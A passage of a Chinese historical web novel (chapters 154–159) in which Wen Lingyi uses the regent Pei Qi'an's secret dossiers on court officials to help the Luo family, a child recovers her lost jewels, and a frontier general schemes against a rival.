“无烬,安排下午,我今晚要去摄政王府的书房。”温令仪说。 无烬拱手:“是。” 温府里,温令仪住着最安心,哪怕府里并没有亲人在,可熟悉的一草一木都让人心安,闲庭漫步走在花园里,提着篮子,篮子里装着剪刀,这一天都没做别的,修修剪剪打理好了花园,坐在亭子里看着整洁的花园在夕阳余晖中,脑海里都是曾经的回忆。 长姐应该是憎恨娘家的,包括自己。 当初的婚事成了京城的笑柄,堂堂镇国公府的嫡长女嫁给了贩夫走卒,多少人背地里编排,都说是长姐不检点。 可他们不知道这是祖父的疼爱,镇国公府的嫡长女,这个身份本就会让很多人趋之若鹜,皇上忌惮之下,任凭嫁给谁都是刀尖上起舞,自己不就是个活生生的例子吗? 要不是自己嫁到晏家,日子过得鸡飞狗跳,哪里会有今日这份闲适?福兮祸所依罢了。 “夫人,该用膳了。”林嬷嬷过来轻声说。 温令仪起身往膳堂去,尽管她完全可以在自己的院子里用饭,可膳堂是一家人聚在一起最多的地方,坐在这里就像是亲人都在身边一般。 慢条斯理的用过饭,温令仪看着蛋羹,微微的勾起唇角,自己身边的人也就只能是林嬷嬷才敢如此提醒自己去接小囡囡。 起身离开,林嬷嬷在身后都叹气,这个什么时候是个头儿,小小姐在的时候啊,管咋还有个孩子闹腾,有些热闹劲儿,可如今别说热闹了,就是夫人也整日里满腹心事的样子,长久下去对身体可不好。 至于秦国公府的事,林嬷嬷不在意,夫人这般的心性,可见那晏明昭的来路不正。 “奶娘,今晚你一个人守夜。”温令仪说。 林嬷嬷赶紧收了杂乱的心思,应声:“是。” 夜深,无烬接了温令仪离开镇国公府,林嬷嬷坐在外面守夜。 黑色的斗篷遮住了面容,温令仪站在摄政王府的书房门外,管家过来恭敬地行礼:“夫人,王爷临走之前吩咐过老奴,夫人若来,想要什么只管吩咐。” “我去书房坐坐。”温令仪迈步进了书房,老管家给掌灯,回身把窗帘都放下了,从外面根本看不出来屋子里有灯光,更不用说有人了。 做完这一切,老管家退到门口:“夫人,老奴就在门外,若有需要只管叫老奴。” “如何称呼?”温令仪看得出来这位老管家是被倚重的,问。 老管家躬身:“老奴姓白。” “白伯去忙吧。”温令仪说。 白伯躬身退出去关好了房门,立在门旁守着。 温令仪慢慢的在屋子里转了一圈,博古架上放着的各种摆件,书架上放着满满登登的书,虽然裴祈安走了不少日子,但书房纤尘不染。 走到书架旁边,抬起手往里摸了摸,摸到了机括开关,轻轻地按下去,书架发出来轻微的声音,温令仪躲开,看着书架像是两扇门一般分开,露出里面的门。 推开门,温令仪迈步往里走,长廊里的灯次第亮了起来,温令仪微微挑眉,能工巧匠是很多的,显然这些灯也都是有机括的。 走了一盏茶的工夫,前面豁然开朗,温令仪立在中间举目四顾,一间间屋子上都有牌子,朝廷官员的名字几乎都在。 排在最前面的是镇国公和秦国公,后面是那些极少露面的侯爵,再后面是各个妃嫔的娘家,之后才是朝臣,罗无咎、李若甫…… 温令仪直接走进来写着李若甫三个字的房间,房间里有书架,架子上有李若甫、沈宗儒等…… 显然这些都是以李若甫马首是瞻的党群。 取下来李若甫的卷宗放在桌子上,温令仪坐下来一页一页的翻看,看到有趣的地方忍不住笑出声来,真不知道裴祈安都是怎么得到这些秘闻的,更没想到李若甫竟把自己的心上人嫁给了自己的庶长子。 果然,掀开绫罗绸缎,里面龌龊不堪。 除此之外,还有府里的账目往来,甚至府里的仆从都记录在案。 温令仪觉得裴祈安是可怕的,更可怕的是靖安司,当然了,这些放在自己的手里,那可就是最锋利的刀。 研墨,关键的人事物都记录下来,卷宗归位,温令仪准备回去了。 自己身份不能明着为罗无咎作什么,可这些秘闻用得得当,那是杀人不见血的,交给谁呢? “阿宁,是要出手了吗?” 裴祈安的声音响起,温令仪只觉得浑身寒毛都立起来了,回头看着出现在身后的人:“你,怎么回来了?” 第155章 舅舅啊,你可要来看我啊 裴祈安走进来,伸出手揽住温令仪的腰身往怀里一带,温香暖玉入怀,让他忍不住喟叹出声,若非外面太危险,他怎么会舍得和阿宁分开这么久? 温令仪轻轻地靠在他的怀里:“脱身回来是有什么事要做吗?” “嗯,当然。”裴祈安低头:“但别的事不急。” 温令仪心脏乱跳,知道裴祈安要做什么,心绪都乱了,二人头一次在摄政王府,在裴祈安的卧房里。 抵死缠绵莫过如此。 尽管温令仪觉得羞愧难当,可身体更诚实。 直到裴祈安餍足,两个人相拥着。 “那边的崂山已经开始了,阿宁送去的工匠解了燃眉之急,墨染的来历很特殊,始终查不出来太多有用的信息,不过此人颇有怀天下之心,几次三番劝我离开,不让我跟萧玄策在一起。”裴祈安说。 温令仪心里腹诽,还不是跟小囡囡一样怕裴祈安死在萧玄策手里嘛。 说起来,这个世界热闹的厉害,自己本以为重生归来就很令人匪夷所思了,谁能想到还有更离谱的,小囡囡、墨染,这两个人的出现简直让自己都经常产生错觉,像是在梦里一般。 “是想要保罗无咎?”裴祈安问。 温令仪轻轻地嗯了一声:“罗无咎是治世良臣,我不能眼睁睁看着他老人家被害。” “阿宁不知道李若甫是我的人吗?”裴祈安问。 温令仪抬眸:“你身边需要个奸佞小人?” “当然不需要,不过皇上需要,并且越多越好。”裴祈安低头咬住了温令仪的耳垂。 热气在耳蜗里的感觉很痒,温令仪偏开头:“那可以死了。” 这话让裴祈安眉头挑起,嘴角也勾起了,阿宁说这话的时候,简直像极了要狩猎的母豹子,这才对嘛,人要有手段,就像是猛兽有獠牙一般。 “尽可去做,我不能露面。”裴祈安说。 温令仪明白,此时永元帝知道的是裴祈安在西域三十六国,至于别的猜不到,但以裴祈安的性子揣测,永元帝可能都要感激涕零,有裴祈安在外面为大夏江山披荆斩棘呢。 “太子死了,你知道吗?”温令仪抬头看裴祈安。 裴祈安点头:“就是因为这件事我回来的,皇后死了是大事,这个时候罗无咎也退隐了,如今若不趁机做点儿事,负了这天赐良机。” 温令仪疲惫的厉害,撑着把这点儿事情说完,闭眼就睡着了。 裴祈安意犹未尽的把人拥在怀里,轻轻地闭上眼睛,他知道的不止这些,温令仪在民间的威望越来越高,众合商行的买卖能联通四海,这才多少日子? 若非自己离开了一些日子,他都不知道温令仪竟是有这般能耐的人,以前还担心自己护不住她周全,如今倒有一种得到了温令仪,如虎添翼的感觉。 天蒙蒙亮的时候,裴祈安亲自送温令仪回到了温府,林嬷嬷不动声色的安顿好了温令仪,回头哪里还有裴祈安的影子。 坐在床边,林嬷嬷额头冷汗冒出来,轻轻地拍打着胸口。 她到底是岁数大了,真真是扛不住事,摄政王这神出鬼没的做派是太吓人了。 温令仪还没睡醒,无烬已经把一摞卷宗送过来了,林嬷嬷把这些卷宗收好,没让任何人过来伺候,就守在门外等温令仪起身。 温令仪起身后,林嬷嬷才安排人过来伺候洗漱。 收拾妥当,温令仪看着这些卷宗,不知道自己嘴角已经有了笑意,裴祈安离开的时候不觉得束手束脚,可裴祈安回来了,做起事情来确实顺利了许多。 李若甫的卷宗都整理好,温令仪叫来了林嬷嬷:“准备谢礼,去罗府接小囡囡回来。” 林嬷嬷这下高兴了,立刻去准备谢礼,说起来罗府的罗小大人可是救了小姐的命呢。 礼物可不能轻了。 准备好后,温令仪带着林嬷嬷和海棠出门。 马车停在罗府门前。 小厮赶紧去禀报。 罗岳迎接到门口,请温令仪入内。 “囡囡是不肯见我吧?”温令仪笑着问。 罗岳微微颔首:“说起来我和囡囡很投缘,她不嫌弃府里无趣儿,倒让祖父和在下都觉得府里有了热闹气儿。” 书房落座,温令仪先把卷宗递过去。 罗岳翻开看了两眼,惊诧的看着温令仪:“温二小姐,这是?” “如果不反击,那岂不是让老大人更委屈?若要反击,一击毙命怕是难一些,可断他那些爪牙不难,再者这位李大人的家务事也有意思,虽然跟罗小大人说这些太失礼了,可打蛇七寸,即便是妇道人家的手段,那也并非不可取,甚至会更好用。”温令仪说。 罗岳起身给温令仪深鞠一躬:“温二小姐说的是,在下并非愚钝的人,多谢温二小姐伸以援手。” “这也是投桃报李,小囡囡是个淘气的,爱惹祸,若非得罗小大人舍命相救,只怕我来不及救她,那后果不敢想啊。”温令仪话锋一转:“我略懂一些医术,可否看看罗老大人?” 罗岳带路,温令仪看到躺在床上,面色蜡黄的罗无咎,轻轻地叹了口气:“这么下去可不行,刚好师父给我几颗龟息丹,赠给罗小大人,以备不时之需。” “温二小姐,这、这让在下无以为报。”罗岳确实有些慌了。 温令仪侧身还礼:“祖父曾说,天下是天下人的,罗老大人为天下人请命,让我十分佩服,我所做的事都是小事,惟愿罗老大人平安顺遂,罗小大人不忘初心,不管何时何地,都能为民做主的人,天下能有几个呢?” 罗岳亲自送温令仪和小囡囡到门口。 小囡囡哭哭唧唧的冲罗岳喊:“舅舅,你可要来看囡囡啊,囡囡会想你的啊。” “一定,一定,要听娘亲的话,可不能顽皮了。”罗岳都有一种立刻跟着小囡囡去的冲动,若非官场历练多年,颇有些养气功夫,那只怕害就不是想要去了,而是直接跟去了。 目送马车离开,罗岳心里在想,这孩子的那些宝贝得找回来,不然自己怎么有借口去看她呢? 对,先去做这事儿! 第156章 你是要吓死你闺女啊 罗岳从来没想到自己有一天会因为一个小女娃娃亲自往顺天府走一遭。 更没想到在顺天府门口遇到了柴老七。 柴老七这几日过的不太好,双目赤红,嘴角有燎泡,见到罗岳转身就跑,跑了几步扭头回来了,指着罗岳的鼻子尖儿:“好啊!你这个小人,竟然出尔反尔,怎么着?是来告发我的对不对?” 罗岳抬起手摸了摸鼻子:“你是来投案的吧?” “我……”柴老七一时语塞。 可不是嘛,自己是真来投案的,只不过在顺天府外面转悠了好几天,实在是没胆子进去,自己只要进去就没机会出来了,那些个总是被人欺负的小崽子们怕是都熬不过这个冬天。 罗岳赞赏的点了点头:“大丈夫顶天立地,必须敢做敢当,知错能改,善莫大焉!” “焉个屁啊?你都来告状了!你们这些高高在上的贵人没有一个好东西!”柴老七蹲在地上抱着头:“你以为我是怕死吗?我是怕那些小崽子们过不去冬,没穿没带也没吃喝,哪里能活?” 罗岳笑了,蹲在柴老七旁边:“我也不是非要告状的,囡囡那孩子特别喜欢圆滚滚亮晶晶的东西,一下都没了整个人都蔫了,柴老哥,要不咱们俩商量一下,我给你们银子咋样?” 柴老七偏头看罗岳:“真的?” “真的。”罗岳说:“都是吃五谷杂粮长大的人,谁还不是有心的呢?我本就没有追究的意思,再说了,当时我不让你去众合商会吗?到那边可以做工,做工就能赚银子了。” 柴老七没吭声,他是想要去的,但怕罗岳坏心肠给自己下套,如今再看罗岳,觉得自己多少有点儿小人之心了。 罗岳哪里看不懂柴老七的担忧,清了清嗓子:“要不这样,回头我问问商会需不需要跑腿打杂的,你惦记那些孩子都可以带过去,能做工的做工,不能做工的就养一养,长大一样能做工。” 柴老七一个壮汉,眼泪都下来了,扑通给罗岳跪下磕头:“恩人啊,你可是孩子们的恩人啊,你等着,就在这里等着。” 罗岳看着柴老七爬起来撒腿就跑,轻轻地叹了口气,越是身居高位越是看得通透,这世上最不缺衣冠禽兽,反倒是这些活得艰难的百姓,但凡给一点点儿盼头,那都是能豁出去性命的忠义之人。 找了个路边的石墩坐下,静静地等着。 也就一炷香的工夫,柴老七满头大汗的跑回来了,从怀里拿出来个袋子塞到罗岳手里:“一个都不少,给你。” “我给你银子。”罗岳掏出来自己的钱袋子。 柴老七摆手:“不要,不要,罗大人都家徒四壁的举债了,我哪里能要罗大人的银子,不过罗小大人你这次可不能说了不做啊,引荐我们去众合商会成不?” 罗岳一点儿没含糊,带着柴老七去他们的破房子,把十几个孩子都带上往众合商会去。 众合商会,罗少商看到儿子带来的这些人,抬起手压了压额角:“这是作甚?” “父亲。”罗岳拱手行礼。 后面的柴老七脸色都白了。 就听罗岳说:“这是我结识的柴大哥,为人仗义,有点儿功夫在身上,那些孩子都是柴大哥照应着的,我寻思父亲这边需要人手,求父亲安置他们,只要有事做就不会饿肚子,太小的孩子都寻个师父教一教,以后都是能做事的帮手。” 罗少商打量着柴老七,不用罗岳说也知道是怎么结交的了,不过儿子素来做事极有分寸,想必这人的人品不差,只是被生活逼得没办法了。 思及此,罗少商点头:“好,那先带着人到里面去登记成册,回头去顺天府报备,至于做什么先不着急,总有能用上的。” 柴老七招呼孩子们都跪下给恩人磕头,心里头暗暗发誓,若有人对罗家父子不利,自己豁出命去也不答应! 罗岳把这些珠子带回家,挨个擦拭干净后,有些犯愁了。 若是别人家倒还好说,偏偏是温令仪的女儿,温令仪在京城可谓人尽皆知,自己若是贸贸然过去,保不齐就有流言蜚语了。 去书房处理政务,又是一阵心烦,往日里自己做事,小囡囡会突然跑进来,舅舅舅舅的叫个不停,如今这没人闹腾,心里头说不出来个事什么滋味儿。 后悔,就不该让小囡囡回去,哪怕多留着玩几天也行,小孩子没记性的,保不齐回去几天就把自己忘了。 放下政务,出门在院子里散步,可也无趣的厉害,听不到小囡囡的笑声,心里空落落的难受。 “岳儿啊。”罗无咎拄着拐杖从屋子里出来:“这府里今儿啊,冷清的厉害。” 罗岳上前:“祖父,孙儿也是觉得空落落的,温令仪把小囡囡接回去了。” “是该回去的,咱们照顾不好她。”罗无咎叹了口气:“你啊,早早成婚,回头多生几个就好了,咱们家里不热闹,人气儿都弱。” 罗岳心里犯嘀咕,自己多生几个难道会比小囡囡懂事可爱吗?这么懂事可爱的孩子自己可头一次见到呢。 看着祖父佝偻着背往回走,赶紧上来扶着:“祖父,您怎么起来了?” “再躺下去,身子都僵了。”罗无咎眉头紧锁:“致仕太难,也不知道那位怎么想的,用还不想用,放也不肯放,非要把人逼死了不成?” 死? 罗岳想到了温令仪给的龟息丸,进门扶着罗无咎躺下才说:“祖父,若是到了不得已的时候,可以死遁。” “哪有那么容易?”罗无咎摇头,如今是真有深陷沼泽的无力感,现在别说治国了,就是看都不愿意再看皇上一眼了,没希望的事谁会做?早晚有一天裴祈安带着温家杀回来,到时候大夏就气数尽了,而且总觉得这一天不会太远。 罗岳压低声音:“温令仪给了孙儿几颗龟息丸。” “嗯?”罗无咎看着罗岳:“她什么意思?” 罗岳说:“她说希望您平安顺遂,也希望罗家不忘初心。” “这个丫头啊,真是能隐忍,能成大事。”罗无咎拍了拍罗岳的肩膀:“且看看吧,还不着急。” “是。”罗岳十分相信祖父,但凡祖父说的事就没有不对的,当下时局确实还不明朗,但裴祈安绝非池中之物,温令仪提到龟息丸,罗岳觉得裴祈安可能也是这个心思,诈死之后更好做事。 镇国公府里,小囡囡小口小口啃着苹果,庄子上刚过来的,时不时抬头看看坐在一旁的裴祈安,便宜爹真是够不要脸了啊,虽然这不是秦国公府,可镇国公府也不是他能大摇大摆坐在这里的地方啊。 “听说,你现在是天道盟的少主?”裴祈安转过头看着小囡囡。 小囡囡抱着啃了好几口的苹果,嘴里还有没嚼碎的,张开小嘴儿吃惊的看着裴祈安,心里话:便宜爹啊,你是要吓死你闺女啊? 第157章 温家和裴祈安联手了? 裴祈安被小囡囡这副模样逗笑了,起身过来轻轻地拍了拍小囡囡的后背:“你就跟你娘亲近,还怕你爹不成了?” 小囡囡猛劲儿的嚼碎嘴里的苹果咽下去,摇头:“爹啊,我怎么跟你亲近?难道你觉得现在可以让所有人都知道你是我亲爹?” “还不是时候。”裴祈安说。 小囡囡翻白眼儿:“那就是了,所以你堂而皇之的坐在这里,还吓唬你闺女我,是咋想的啊?难道我和我娘还能跟别人跑了啊?” “倒也不会。”裴祈安摘下腰间的袋子放在小囡囡面前,颇有些讨好的把袋子里的各种宝石珠子倒出来:“只是你这孩子极不寻常,爹有些担忧。” 小囡囡把啃了一半的苹果放在裴祈安的手里,伸出手去抓那些珠子:“担忧我是真没必要,真要是不想省心,那就担忧我娘亲,我觉得很多人都会喜欢我娘亲的。” “不可胡说。”裴祈安沉了脸色:“哪有亲生女儿背地里这么说自己娘亲的??” 小囡囡转过头看裴祈安,勾起唇角:“那你说,萧玄策会不会喜欢我娘亲?” 这话简直如擂鼓的重锤,裴祈安眉头蹙起:“难道那厮还有这份心思?” “没看出来,但救命之恩以身相许,这桥段可不少,再说了,我娘是什么人?娘家是鼎鼎大名的镇国公府,外祖父和舅舅没有扬名立万的机会,可老镇国公的赫赫威名是真刀真枪打出来的。”小囡囡扬起下巴:“我娘亲有药王谷撑腰,有十七个师兄,还认得墨染,说句背后有整个江湖,也不夸张吧?” 裴祈安眯起的眼睛里有了杀意,小囡囡句句都切中要害,萧玄策的野心在自己之上,温令仪确实有很多助力,看来自己要警醒点儿。 小囡囡很满意这些珠子,收到自己的匣子里,打开匣子忍不住叹了口气,本来都快装满了,结果为了洛家都没了,心疼啊。 裴祈安把没吃完的苹果递给小囡囡:“好好保护你娘,你是个有本事的孩子,就是太有本事了。” “谁让我爹和我娘都厉害呢,我想要愚钝点儿都不能呢。”小囡囡卖乖的笑出声来。 裴祈安往外看了看,也不知道温令仪在忙什么,好半天不见人影了。 温令仪把最后的几张药方都写好,放进信封里交代碧桃给罗少商送过去,南地还有很多得了病却来不了京城的人,众合商会出手相救,那可是恩情,往后不管众合商会要做什么,都不缺帮忙的人手。 忙完才回来自己的院子,进门就看裴祈安斜倚在榻上,小囡囡坐在他身边摆弄那些珠子,父女二人都不吭声,但神态很相似。 “你们倒是能呆得住。”温令仪过来坐在小囡囡的身边:“厨房那边准备吃的了,囡囡有没有特别馋嘴的啊?” 小囡囡摇头:“那倒没有,就是心疼我那些宝贝,娘亲,要不你也像爹爹这么大方,送我一些啊?” “贪财。”温令仪戳了小囡囡的脑门。 小囡囡嘟起嘴下地穿鞋,摇摇晃晃的跑了。 此时不跑更待何时?自己可不想夹在两个人中间,嫌腻歪。 等小囡囡跑出去,裴祈安立刻凑过来拉着温令仪的衣袖:“小囡囡说萧玄策不老实。” “你可信?”温令仪拍开裴祈安的手:“这孩子是想要让你对萧玄策出手。” 裴祈安微微挑眉:“何出此言?” 温令仪慢条斯理的把萧玄策出现,到最后离开的所有事情都跟裴祈安说了一遍,末了来了句:“这孩子是我们的亲生骨肉,你早就知道为何瞒着我?” 裴祈安本来还想说萧玄策的事,结果被温令仪问了个措手不及,他搓了搓手:“我、我是觉得你当初突然性情大变,一时摸不准你的想法,再就是你为了嫁给晏怀卿都豁出去了,我有些生气。” “生气就把我蒙在鼓里,裴祈安,你小气。”温令仪哼了一声:“一个两个都骗我,我怎么就摊上了你们这对父女呢?” “不是,不是。”裴祈安有些慌了。 温令仪并没有真的生气,特别是从小囡囡说裴祈安被萧玄策杀了之后,就更没有什么芥蒂了,自己被囚禁三十年,裴祈安却在自己被囚禁的第一年就死了,说起来两个人还都活得挺憋屈的。 话锋一转,温令仪说:“罗府那边我明儿还要过去看看,今儿去接囡囡,没有看到罗老大人,若是能安排他全身而退,也是为黎民百姓留下了个好官。” 裴祈安清了清嗓子,罗无咎知道自己的心思,如今抱病不上朝,只不过是借李若甫的机会想要全身而退罢了,永元帝的昏庸越发明显,他应该是最失望的人。 “阿宁,你说让罗无咎去漠北怎么样?”裴祈安说。 温令仪摇头:“只怕罗老大人会认定你和温家都是乱臣贼子。” “确实,这位老人家刚正不阿,但不可否认其有大才,若能得到这样的人助力,确实如虎添翼。”裴祈安顿了一下:“不过我此番归京不能露面,若是罗老大人愿意,倒是可以让天道盟安排此事。” 温令仪明白裴祈安的心意:“好,那我就去试探试探。” 第二天一大早,温令仪带着小囡囡再次登门罗府。 罗岳去上朝不在,家丁往里禀报,罗无咎听说小囡囡来了,立刻让人把母女俩请到了书房。 “囡囡来看您了,还求了娘亲给您诊脉治病。”小囡囡乖巧的事拉着罗无咎的衣袖:“你是个是大好人,不能生病。” 罗无咎笑着点头:“好,好,囡囡最有心了。” “囡囡可想那个秋千了,舅舅不在家,我带着丫环过去成不?”小囡囡问。 罗无咎点头。 罗无咎和温令仪看着小囡囡撒欢儿似的跑出去,喊了棠雨和梨雪熟门熟路的去了罗岳的院子,秋千还在,仆从见到小囡囡都像是见到了小主子似的,十分热情。 书房里。 罗无咎说:“令仪是个有大气运的人呐,看看这孩子多招人喜欢,懂事还体贴。” “您老过誉了,小囡囡调皮的厉害,我给您老请个平安脉吧。”温令仪取出来脉枕。 罗无咎伸出手腕:“年纪大了,就算是没什么毛病也老胳膊老腿儿,不便利了。” 温令仪给诊脉:“该保养身体是要用些心思的,祖父来信还说呢,漠北那边的百姓啊,过得极苦,只恨他只会带兵打仗,不会旁的。” “漠北那边如何了?”罗无咎立刻问。 温令仪柔声:“不容乐观,祖父说百姓过得很苦,多年来西凉屡屡犯边,烧杀掠夺从来没断过,还有那些发配到漠北的官眷,疯的疯,傻的傻,祖父说都是治国良臣,可悲可叹啊。” “唉。”罗无咎可比温家更了解漠北石头城里关押的都是什么人,承认老镇国公说的没错,可是有什么办法?自己也曾上书几次,朝中无能臣,石头城里的人可以起复,奈何奏折都石沉大海了。 温令仪看罗无咎的神色,轻声:“罗老大人,若我有办法让您老脱身,可愿意去漠北助我祖父一臂之力啊?” 罗无咎眉头蹙起,抬头看着温令仪:“温家和裴祈安联手了,是不是?” 第158章 真是防得厉害,娘亲要受苦喽 温令仪就那么镇定的看着罗无咎。 她非常清楚自己面对的是个在仕途历练了大半辈子的人,不管是人心还是时局,早就深谙此道。 至于问自己,不过是情急之下脱口而出,其实罗老大人早就猜到了。 果然,罗无咎笑的十分勉强,点了点头:“看来,到底是走到这一步了,罢了,罢了。” “民为先,温家如今再执掌温家军,那温家军就还是曾经的温家军,温家人也还是曾经的温家人。”温令仪说。 罗无咎长叹一声:“只不过,天下要易主了。” “罗老大人,如果百姓能过上好日子,上面坐着的是谁就不重要了。”温令仪说。 罗无咎想到永元帝,甚至从开国之君给三公下毒的时候,其实就注定了今天的局面,这世上哪里有什么对错,只看人自心坚守的是什么罢了。 “容我考虑一二。”罗无咎说。 温令仪收回诊脉的手:“老大人是忧思过重,伤了身子,肝气郁结才会觉得上不来气儿似的,若是只靠药物调理,只怕结果不尽如意,还请老大人爱惜身体。” 罗无咎点头似。 “我回头让人送汤药来,按时服用几日,身体就能大好,但想要痊愈,需身心舒畅方可。”温令仪说着话,收起了脉枕。 罗无咎笑道:“令仪别急,事急从缓,从缓方圆。” “是。”温令仪提起笔写了几个食补的方子放在桌子上,刚放下笔,罗岳就从外面进来了,满脸喜色的他还没进门就问:“祖父,可是小囡囡回来了?我听到她的笑声了。” 一脚门里一脚门外,看到温令仪在屋子里,赶紧收了脸上多余的表情。 温令仪起身。 罗岳拱手一礼:“不知温二小姐过来了,失态失态。” “是罗小大人偏爱了,小囡囡回去这几日总是念叨罗小大人,刚进门就跑去玩秋千了。”温令仪苦笑:“这孩子调皮得很,不过尚有良心,缠磨着我过来给老大人请个脉。” 罗岳请温令仪落座:“囡囡是个聪明又懂事的孩子,温二小姐真是好福气。” 旁边躺在榻上的罗无咎心里头不知道是个什么滋味儿,自己这两个孙子也真出息了,一个喜欢温令仪,命都能豁出去就够让人头疼了,这还有一个喜欢上了温令仪的女儿,那一副恨不得是自己女儿的样子,自己都没眼看,让他成婚,嘴上答应的爽快,一点儿不动心思,竟还想要个女儿,想要抢人家的女儿,罗家这么下去,自己还能看到重孙了吗? 温令仪并不知道罗家这祖孙俩心里想什么呢,把刚写好的药膳方子递给了罗岳:“罗小大人,这药膳要经常用,虽说调理起来慢一些,可温补更稳妥,罗老大人的身体并无大碍,但心情要好才行。” 罗岳道谢。 “你去看小囡囡吧,我跟令仪有话说。”罗无咎知道孙子心里的想法,说道。 罗岳笑着起身冲温令仪一拱手:“某去见见小囡囡,刚好那些珠子寻回来了。” “有劳了。”温令仪还礼。 罗岳一路到了自己的院子,果然见小囡囡在秋千上玩儿,这笑声太悦耳,感觉本来沉静的府里都鲜活起来了。 “舅舅,你可算回来了。”小囡囡让棠雨赶紧稳住了秋千,一翻身跳下来,跑向罗岳。 罗岳蹲下,张开手臂,小团子扑进怀里的时候,他的心都要融化了,他太希望自己有一个小囡囡这般的女儿了。 “舅舅,你都不想囡囡的。”小囡囡抱着罗岳的脖子,噘着嘴。 罗岳笑了:“瞎说,舅舅可想你了,只是舅舅有很多事情要忙。” “我不信,你想囡囡就要去看囡囡啊,我可是费了很大力气才能让娘亲带着来看舅舅呢。”小囡囡说。 罗岳竟有一种愧疚的心情,抱着小囡囡往屋子里去:“那舅舅要赔礼了。” “那不用的,舅舅的那点儿俸禄还要养活一大家子人呢。”小囡囡笑眯眯抱着罗岳的脖子:“等以后囡囡赚很多很多银子,就替舅舅养活府里的人。” 这话可真是太暖心了,罗岳捏了捏小囡囡的鼻子尖儿:“放心吧,舅舅不穷,罗家也不穷的。” 小囡囡眼睛都亮了:“是怕有贼人惦记,财不露白是不是?” “对喽,囡囡可要记住了这话,前几日若不是你玩儿的那些珠子都是宝贝,哪里会有人动了歪心思呢?”罗岳把小囡囡放在椅子上,去柜子里取出来匣子放在她面前:“看看。” 小囡囡将信将疑的打开了匣子,顿时眼睛瞪得大大的,从里面抓出来红宝石珠子,在脸上蹭了蹭:“我的小红啊,我好想你啊。” “我的小绿啊,你真好看啊。” “我的小金啊,你最漂亮了。” …… 罗岳坐在旁边笑眯眯的看着小囡囡跟每一颗珠子打招呼,心情都舒泰了许多,感觉浑身气血都顺畅了,这孩子真是只要看着就让人心情好啊。 “舅舅,柴老七呢?”小囡囡似是刚想起来似的,问。 罗岳就把顺天府门口遇到柴老七的事说了一遍,小囡囡听得直拍手:“舅舅好厉害呀,柴老七也是个大好人,那些孩子们都有着落了呢。” “是啊,这世上还有很多穷苦人,他们活得太艰难了。”罗岳说。 小囡囡低头看自己面前这一盒珠子,咬牙再摸了一遍后,盖好直接推到了罗岳面前:“舅舅,这些珠子卖掉,卖出来的银子就给京城里那些小孩乞丐做棉衣吧。” 罗岳大惊,小囡囡很在乎这些珠子的,但咱们小囡囡善良啊,能为了别人割爱,许多大人都做不到呢,真是个好孩子啊。 “你那点儿珠子可不够用,回头让温忠来办这件事。”温令仪从外面进来,冲罗岳福礼:“罗小大人勿怪,童言无忌,囡囡并不知道京城多大,更不知道京城多少乞儿。” 罗岳摇头:“囡囡是个善良好孩子。” “既然囡囡说了,这笔银子我会让下人送过来,京城的慈幼院得做点儿事了。”温令仪说。 罗岳抬眸看温令仪。 世间女子什么样的都有,他也不是没见识的人,但温令仪过于特别,身上丝毫没有贵女的那些骄纵出来的毛病,调*教出来的心机城府,有的是一颗善心,小囡囡像极了温令仪。 温令仪被打量的有些局促:“这件事得罗小大人出面,不知罗小大人意下如何?” “舅舅当然会答应啦。”小囡囡笑眯眯的说。 罗岳点头:“那就按温二小姐的意思办。” 温令仪牵着小囡囡的手跟罗岳辞别,罗岳送到门口,看着母女二人坐在马车上离开,心里百味杂陈,他从来不是儿女情长的人,但确实有些憎恨晏怀卿,如此贤妻,怎么就不知道珍惜呢? 马车里,小囡囡看着虎视眈眈的裴祈安,再看看娘亲,下意识的摇了摇头,这爹啊,可真是防得厉害,娘亲要受苦喽。 第159章 晏怀卿,是真该死! 镇国公府。 小囡囡下了马车直接开溜。 温令仪抬起手压了压额角,这孩子懂得太多,让自己这个当娘的人啊,经常会有无力感,也会很尴尬。 “不是说不能露面吗?”温令仪看裴祈安。 裴祈安挑了挑眉:“我露面了吗?” 好像也是,温令仪往书房去,进了书房落座,提笔写了药方交给林嬷嬷,让林嬷嬷送去保和堂,配好药也煎好了再送到罗府去。 安排好后,抬眸见裴祈安坐在椅子上喝茶,手里拿着一卷书,可哪里有半分读书的样子。 “那罗岳,心思有些过了。”裴祈安迟迟等不到温令仪说话,憋不住先开口了。 温令仪端起茶盏送到嘴边,浅浅的抿了一口:“罗岳和小囡囡是过命的交情,特别喜欢小囡囡。” “若不然,就冲着他那痴汉的眼神儿,我会把他的眼睛挖下来。”裴祈安把书放在桌子上,起身过来,居高临下的俯下身,几乎把温令仪压在了椅子上:“他要敢爱屋及乌对你有想法,那我就不客气。” 温令仪抬起手直接勾住了裴祈安的脖子,轻轻地贴上来,在裴祈安的耳边柔声说:“裴祈安,你可要拎得清,咱们之间的关系见不得光。” 裴祈安顿时身体都僵了,偏头吻住了温令仪的唇瓣,这话他不爱听,一个字都不爱听! 确实如小囡囡想得那般,温令仪确实受苦了,甚至心里万分后悔怎么能说那句话。 “我很快就能迎娶你了。”裴祈安说。 温令仪趴在桌子上,说不出半个字来。 ***雁门关。 罗政单手执军旗,一手拖着**,看着眼前尸横遍地的景象,眼前浮起了猩红的血色。 “罗副将!这是有人想要杀你!”亲随兵士哭了。 罗政咬着牙,缓缓地站直了:“可惜,我不是绣花枕头,中看不中用!” 心里却在狂喜,**?无憾!可是自己没死,温令仪,你只管在京城等我! 一匹战马,一个亲随。 罗政浑身是血的回到了雁门关的城门前,抬起手里的**指着守卫:“去通禀主帅,罗政凯旋了!” 雁门关,元帅府。 晏怀卿脸色涨红的抽身离开,身下承*欢的梅娘娇喘着侧身拉过来薄纱遮住身体,有些娇嗔的埋怨:“元帅,您这龙精虎猛的,不能可着奴一个人来啊,在这么下去岂不是要了奴的命吗?” 晏怀卿张开手臂,兰娘和菊娘伺候晏怀卿擦身,换上了干净的袍服后,晏怀卿回头捏着梅娘的下巴:“你要争气些,若是怀了身孕,班师回朝后,你就是将军夫人,余下的都是妾。” 梅娘眼圈红了:“元帅怕是忘记了,别说梅娘,就是我们四姐妹都算上也没这份福气。” “总有例外。”晏怀卿知道梅娘的意思,她们出身青楼,青楼里的绝嗣汤可是无解的,话说出去是给人听的,是让人开心的,至于将军夫人,他脑海里浮现的便是小张氏的模样。 “元帅,罗政罗副将回来了,在城门外。”亲兵在门外禀报。 晏怀卿脸色一沉:“回来了?” “是,还让守卫通禀元帅,是他凯旋了。”亲兵说。 晏怀卿起身往外走,他心里暗骂西凉那些草包,连一个罗政都处理不掉。 他是故意做局,目的就是把皇上派来的人一个个都弄死,免得自己束手束脚,结果没想到罗政的命还真大,竟活着回来了。 梅娘递了个眼色给竹娘,竹娘立刻跟了上去。 